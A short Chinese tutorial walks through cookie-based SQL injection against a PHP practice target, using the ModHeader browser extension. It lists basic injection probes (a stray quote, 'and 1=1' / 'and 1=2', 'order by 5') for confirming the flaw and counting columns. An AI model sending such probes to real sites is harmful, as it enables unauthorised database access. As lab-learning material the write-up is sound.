Cookie注入（PHP页面）

 

靶机地址：http://www.whalwl.top:8009 【2020年8月前有效】

一、准备工作：

在火狐浏览器上安装一个叫ModHeader的插件，请求头修改神器。

记住它的样子，然后就可以行动了。怎么弄插件，此插件怎么用，请大家自行百度，我是不会跑题的。

 

二、过程步骤：

1、判断是否存在注入

id=1’  //报错
id=1 and 1=1  //不报错
id=1 and 1=2  //报错

存在注入，此处不打算截图

2、查看字段数，即列数

id=1 order by 5
//用二分法一个个尝试，发现order by 6时报错，5刚好不报错，可知是5列